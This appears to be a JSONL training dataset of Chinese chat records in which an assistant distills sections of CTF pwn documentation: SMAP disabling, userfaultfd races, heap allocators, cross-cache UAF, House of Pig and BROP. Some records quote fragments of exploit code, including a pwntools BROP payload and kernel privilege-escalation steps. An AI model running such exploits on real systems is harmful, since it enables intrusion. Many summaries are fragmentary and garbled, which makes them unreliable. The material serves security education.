"pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9ec5bb54cf31716ff09f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md` 中的章节「关闭」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md`\n标题：用户数据不可访问\n章节：用户数据不可访问 > x86 - SMAP - Supervisor Mode Access Protection > 开启与关闭 > 关闭\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 在 /etc/default/grub 的如下两行中添加 nosmap `` GRUB_CMDLINE_LINUX_DEFAULT=\"quiet\" GRUB_CMDLINE_LINUX=\"initrd=/install/initrd.gz\" ` 然后运行 update-grub ，重启系统就可以关闭 smap。\n- 如果是使用 qemu 启动的内核，我们可以在 -append 选项中添加 nosmap` 来关闭 SMAP。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- defense\n\n代码/命令片段线索：\n- plain: 2 行，首行 `GRUB_CMDLINE_LINUX_DEFAULT=\"quiet\"`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 224, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "关闭", "heading_path": ["用户数据不可访问", "x86 - SMAP - Supervisor Mode Access Protection", "开启与关闭", "关闭"], "original_id": "docs-a6f4e14f9fcd4fb0df8d", "original_line": 683, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md", "source_root": "docs", "source_sha256": "d68e36c8175d29e28eefd4318fc95884f1bf35b5d67abba628cbab8cf2c60948", "split": "train", "split_group_key": "a15415000ec8f3eeeda942cd", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "defense"], "title": "用户数据不可访问"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9efa485adba6db15c3ee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「Reference」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`\n标题：用 userfaultfd 创造条件竞争\n章节：用 userfaultfd 创造条件竞争 > Reference\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Reference”展开。\n- > 【PWN.0x00】Linux Kernel Pwn I：Basic Exploit to Kernel Pwn in CTF > > linux kernel pwn学习之条件竞争(二)userfaultfd > > https://zhuanlan.zhihu.com/p/385645268 > > https://www.cjovi.icu/WP/1455.html > > https://www.cjovi.icu/WP/1468.html > > 从内核到用户空间(1) — 用户态缺页处理机制...\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 789, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "Reference", "heading_path": ["用 userfaultfd 创造条件竞争", "Reference"], "original_id": "docs-359bb5084b4111617575", "original_line": 795, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "source_root": "docs", "source_sha256": "dde0fc852d95e289946e221dcdbd708b2ffb4d862226dc56b80d81bf3e5cc02f", "split": "train", "split_group_key": "0b6016aa116efce5e5e24485", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "用 userfaultfd 创造条件竞争"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9f165f999ccc04cf40b8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「考虑 mmap」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define GLRO(name) _##name > 考虑 mmap\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“考虑 mmap”展开。\n- Going above 512k (i.e., 1M for new heaps) wastes too much address space. / #if __WORDSIZE == 32 #define DEFAULT_MMAP_THRESHOLD_MAX (512 1024) #else #define DEFAULT_MMAP_THRESHOLD_MAX (4 1024 1024 sizeof(long)) #endif #endif ` 下面为这部分代码，目前不是我们关心的重点，可以暂时跳过。\n- = MAP_FAILED) { / The offset to the start of the mmapped region is stored in the prev_size field of the chunk.\n- 正如开头注释所言如果满足如下任何一种条件 1. 没有分配堆。\n- This allows us to adjust returned start address to meet alignment requirements here and in memalign(), and still be able to compute proper address argument for later munmap in free() and realloc(). / if (MALLOC_ALIGNMENT == 2 SIZE_SZ) { / For glibc, chunk2m...\n- 2. 申请的内存大于 mp_.mmap_threshold，并且mmap 的数量小于最大值，就可以尝试使用 mmap。\n\n关键术语：\n- 堆\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 15 行，首行 `static struct malloc_par mp_ = {`\n- c: 21 行，首行 `#ifndef DEFAULT_MMAP_THRESHOLD`\n- c: 63 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3758, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "考虑 mmap", "heading_path": ["define GLRO(name) _##name", "考虑 mmap"], "original_id": "docs-eecfd898f08cde9a53bc", "original_line": 1161, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "7708be1026c4e860283321c9", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a035c739f6eeecd57b9b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md` 中的章节「slab allocator」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md`\n标题：内核堆概述\n章节：内核堆概述 > slab allocator\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- slab allocator 则是更为细粒度的内存管理器，其通过向 buddy system 请求单张或多张连续内存页后再分割成同等大小的对象（object）返还给上层调用者来实现更为细粒度的内存管理。\n- slab allocator 一共有三种版本： - slab（最初的版本，机制比较复杂，效率不高） - slob（用于嵌入式等场景的极为简化版本） - slub（优化后的版本，现在的通用版本）\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 208, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "slab allocator", "heading_path": ["内核堆概述", "slab allocator"], "original_id": "docs-b20169cc32b33481aec5", "original_line": 39, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/heap_overview.md", "source_root": "docs", "source_sha256": "e7a66e37499b742f2c467a797689b8b366f0d217b52739a47ab5db0940b37235", "split": "train", "split_group_key": "8051cccb746a60edb845600e", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "内核堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/heap_overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a08bf349dd8b9260f717", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md` 中的章节「ida 里定位」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md`\n标题：Change Others\n章节：Change Others > 改代码 > 修改 vDSO 代码 > ida 里定位\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“ida 里定位”展开。\n- } ` 2. 可以看到 vdso_image_64 和 vdso_image_x32。\n- init_vdso+1↓o ` 3. 点击 raw_data 即可知道 64 位 vDSO 在内核镜像中的地址，可以看到，vDSO 确实是以页对齐的。\n- F ` 从最后的符号来看，我们也可以直接使用 raw_data` 来寻找 vDSO。\n- 1. 在 ida 里定位 init_vdso 函数的地址 ``c __int64 init_vdso() { init_vdso_image(&vdso_image_64 + 0x20000000);\n- init_vdso_image(&vdso_image_x32 + 0x20000000);\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- aim\n- code:c\n\n代码/命令片段线索：\n- c: 10 行，首行 `__int64 init_vdso()`\n- plain: 3 行，首行 `.rodata:FFFFFFFF81A01300 public vdso_image_64`\n- plain: 4 行，首行 `.data:FFFFFFFF81E04000 raw_data db 7Fh ;  ; DATA XREF: .rodata:vdso_image_64↑o`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 929, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "ida 里定位", "heading_path": ["Change Others", "改代码", "修改 vDSO 代码", "ida 里定位"], "original_id": "docs-bd0f6ff4247b409de0e9", "original_line": 661, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md", "source_root": "docs", "source_sha256": "5ae73e332aeca082ca76620f6161568e6fade1b8ae0b3398b84006a03ad36041", "split": "train", "split_group_key": "cd5a39ddecedb266b00f53d5", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "aim", "code:c"], "title": "Change Others"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a12f7092ec06df64ce54", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/introduction.md` 中的章节「常用代码模板」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/introduction.md`\n标题：简介\n章节：简介 > 常用代码模板\n路径分类：pwn / pwn/linux/kernel-mode\n分块：4/5\n\n核心知识点：\n- 本节主题围绕“常用代码模板”展开。\n- The return val should be the offset of the buf, -1 for failure @param finder_args your own function's args @return size_t kernel addr of content to find, -1 for failure / size_t ldt_seeking_memory(void (ldt_momdifier)(void, size_t), void momdifier_args, uin...\n- } else { / parent / wait(NULL);\n- It should be like size_t func(void args, char buf) and the buf is where we store the data from kernel in ldt_seeking_memory().\n- / read data by the child process / pipe(pipe_fd);\n- fork()) { / child / syscall(SYS_modify_ldt, 0, buf, 0x8000);\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5118, "chunk_count": 5, "chunk_index": 3, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "常用代码模板", "heading_path": ["简介", "常用代码模板"], "original_id": "docs-815b422c957bf073bd69", "original_line": 721, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "source_root": "docs", "source_sha256": "00cdabd2da625d9d761c472642a9afa558f81201029fcfc1d5ca4af3c822c5d7", "split": "train", "split_group_key": "72ec51d5a65c044ab6114be5", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a1c64f9e12fb926b6f36", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md`\n标题：Cross-Cache UAF\n章节：Cross-Cache UAF > 简介\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- Cross-Cache UAF 又称作 Cross-Cache attack，在这个场景下我们通常拥有对某个特定内核对象的 UAF，但该对象本身及与其来自相同 kmem_cache 的内核对象都不具有足够的使得我们可以完成内核利用的能力，此时我们就可以考虑将其对应的 SLUB page 释放回 buddy system，再在另外一个 kmem_cache 上做堆喷将该 SLUB page 取回，从而将 UAF 漏洞迁移到另一种内核对象上。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1282, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "简介", "heading_path": ["Cross-Cache UAF", "简介"], "original_id": "docs-0542bea06ca6c4210a34", "original_line": 37, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md", "source_root": "docs", "source_sha256": "687aa9899839a03ab9ddad6785475897c71ad6e3bd6110e36b945c28303aa971", "split": "train", "split_group_key": "5d973fe7c06e829114fbc18d", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Cross-Cache UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a22fd999793b08b40c0b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md` 中的章节「流程分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md`\n标题：House of Pig\n章节：House of Pig > 例题 > XCTF-FINAL-2021 house of pig > 流程分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“流程分析”展开。\n- ` 把这两个结构体补全后，程序的流程就会容易分析许多，可以发现主要的漏洞是在改变猪猪的时候，备份和更新结构体时未对 des_exist_sign[24] 数组更新 [图片文件: ./figure/backup-operation.png] [图片文件: ./figure/copy-operation.png] 要触发这个未更新的漏洞需要更改角色，要通过一个 check_password 的操作。\n- 整个程序中不存在 malloc 函数，全部是 calloc，由此函数的不从 tcache 中取出 chunk 的性质，且不可以申请 fastbin 范围中的 chunk，导致利用比较困难。\n- `python def change_rol(role): sh.sendlineafter(\"Choice: \",'5') if (role == 1): sh.sendlineafter(\"user:\\n\",\"A\\x01\\x95\\xc9\\x1c\") if (role == 2): sh.sendlineafter(\"user:\\n\",\"B\\x01\\x87\\xc3\\x19\") if (role == 3): sh.sendlineafter(\"user:\\n\",\"C\\x01\\xf7\\x3c\\x32\") ``...\n- 首先，经过大胆猜测可以分析出每只猪的结构体结构 ``cpp struct PIG { char des_ptr[24];\n- [图片文件: ./figure/checkpassword-operation.png] 也就是需要输入三个 md5 值之一的原值，注意到最后一个 md5 被 '\\x00' 截断了，所以只要前两位相同即可，可以尝试使用爆破等方法通过此处的检测，下面是一种方法。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:cpp\n- code:python\n\n代码/命令片段线索：\n- cpp: 7 行，首行 `struct PIG`\n- cpp: 22 行，首行 `struct ALL_PIGS`\n- python: 8 行，首行 `def change_rol(role):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1471, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "流程分析", "heading_path": ["House of Pig", "例题", "XCTF-FINAL-2021 house of pig", "流程分析"], "original_id": "docs-e2fea58afd9671e1bf44", "original_line": 53, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "source_root": "docs", "source_sha256": "ad30bbcb365576fbe52c5fa885a96ce1ee3f7e048f759c291bf7b1aa50921256", "split": "train", "split_group_key": "a2907e5ce1095c574f81e967", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:cpp", "code:python"], "title": "House of Pig"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a2923ef8fb3b6ece87cf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「endif」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：endif\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“endif”展开。\n- The maximum size must be a power of two, for fast determination of which heap belongs to a chunk.\n- endif / HEAP_MIN_SIZE and HEAP_MAX_SIZE limit the size of mmap()ed heaps that are dynamically created for multi-threaded programs.\n- It should be much larger than the mmap threshold, so that requests with a size just below that threshold can be fulfilled without creating too many heaps. / /**************************************************************************/ / A heap is a single co...\n- It is allocated with mmap() and always starts at an address aligned to HEAP_MAX_SIZE. / typedef struct _heap_info { mstate ar_ptr;\n- `` 该结构主要是描述堆的基本信息，包括 - 堆对应的 arena 的地址 - 由于一个线程申请一个堆之后，可能会使用完，之后就必须得再次申请。\n\n关键术语：\n- 堆\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1813, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "endif", "heading_path": ["endif"], "original_id": "docs-49ea8eee66520ca68e8b", "original_line": 963, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "b9cfd5fd0848373817dd3d01", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "ROP/JOP", "pwn", "linux", "user-mode", "heap"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a2c47785d9c20c172c48", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`\n标题：用 userfaultfd 创造条件竞争\n章节：用 userfaultfd 创造条件竞争 > 例题：QWB2021-notebook > 利用\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 在利用过程当中我们还需要注意两点： - 由于题目环境存在多个 CPU core，因此我们应当使用 sched_setaffinity() 将进程绑定到指定核心上，从而确保内核对象分配的稳定性，而无需进行堆喷射 - tty_struct 的结构也被我们所破坏了，在完成提权之后我们应该将其内容恢复原样\n- 这里引用原文 > 控制 rip 之后，下一步就是绕过 SMEP 和 SMAP 了，这里介绍一种在完全控制了 tty 对象的情况下非常好用的 trick，完全不用 ROP，非常简单，且非常稳定（我们的 exploit 在利用成功和可以正常退出程序，甚至关机都不会触发 kernel panic）。\n- （如果还需要禁用 SELinux 之类的，再找一个任意地址写 0 的 gadget 即可，很容易找） 利用这个原语就可以比较容易的任意函数执行了。\n- 不过相比于传统的构造冗长的栈迁移的 ROP chain，长亭在 WP 中提到了一个很有趣的 trick，原文链接。\n- 考虑到我们提权需要做的事情只是 commit_creds(prepare_kernel_cred(0))，完全可以用两次上述的函数调用原语实现。\n- 文件: ./figure/work-for-cpu.jpg] > > 其编译后大概长这样： > > [图片: img;\n\n关键术语：\n- UAF\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1614, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "利用", "heading_path": ["用 userfaultfd 创造条件竞争", "例题：QWB2021-notebook", "利用"], "original_id": "docs-648154db9aefcdf6eb2f", "original_line": 790, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "source_root": "docs", "source_sha256": "dde0fc852d95e289946e221dcdbd708b2ffb4d862226dc56b80d81bf3e5cc02f", "split": "train", "split_group_key": "939a062a53d043e5abfe2e59", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "用 userfaultfd 创造条件竞争"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a3381ce936ebcb8e7264", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「程序利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 例子 > 程序利用\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“程序利用”展开。\n- ```python ##length = getbufferflow_length() length = 72 ##stop_gadget = get_stop_addr(length) stop_gadget = 0x4006b6 ##brop_gadget = find_brop_gadget(length,stop_gadget) brop_gadget = 0x4007ba rdi_ret = brop_gadget + 9 ##puts_plt = get_puts_addr(length, rdi...\n- sh = remote('127.0.0.1', 9999) sh.recvuntil('password?\\n') payload = 'a' length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64( stop_gadget) sh.sendline(payload) data = sh.recvuntil('\\nWelCome', drop=True) puts_addr = u64(data.ljust(8, '\\x00')) libc =...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:python\n\n代码/命令片段线索：\n- python: 26 行，首行 `##length = getbufferflow_length()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 939, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "程序利用", "heading_path": ["中级ROP", "BROP", "例子", "程序利用"], "original_id": "docs-6daf024cc77f108c9c6d", "original_line": 1297, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", 